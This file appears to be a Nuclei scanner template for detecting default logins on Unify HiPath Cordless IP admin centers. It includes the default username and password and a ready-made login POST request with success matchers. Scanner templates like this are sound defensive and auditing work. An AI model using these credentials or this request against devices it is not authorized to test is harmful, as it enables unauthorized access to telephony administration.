id: unify-hipath-default-login

info:
  name: Unify HiPath Cordless IP - Default Login
  author: FLX
  severity: high
  description: |
    Default login credentials on the Unify HiPath Cordless IP admin center were discovered.
  impact: |
    An attacker could gain unauthorized access to the admin center and potentially change the configuration of the devices configured on the service.
  remediation: |
    Change the default password to a strong password.
  reference:
    - https://wiki.unify.com/images/d/dd/HiPath_Cordless_IP_V1,_Administrator_Documentation.pdf
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:unify:hipath:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    product: hipath
    vendor: unify
  tags: default-login,unify,hipath,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "/html/wbm_login.html"

  - raw:
      - |
        POST /cgi-bin/ikon_button.exe?page=1500&button=51&line=0&eventid=0&WbmSessionId=nosession&Username={{user}}&Password={{pass}}&CountryCode=en&NoSessionTimeout=false&SwitchLanguage=false HTTP/1.1
        Host: {{Hostname}}

    attack: pitchfork
    payloads:
      user:
        - Unify
      pass:
        - 1q21q2

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "{\"success\":true"
          - "There is another user logged in"
        condition: or
# digest: 4a0a00473045022100cce3af363a958c1242e56cff19ac8af640db03f82564857d6f1a909a927c025e02201fab44f7d374e6d23baebce5703ce17f3bc2ee8a5fbcc297a19e6b517905b3b9:922c64590222798bb761d5b6d8e72950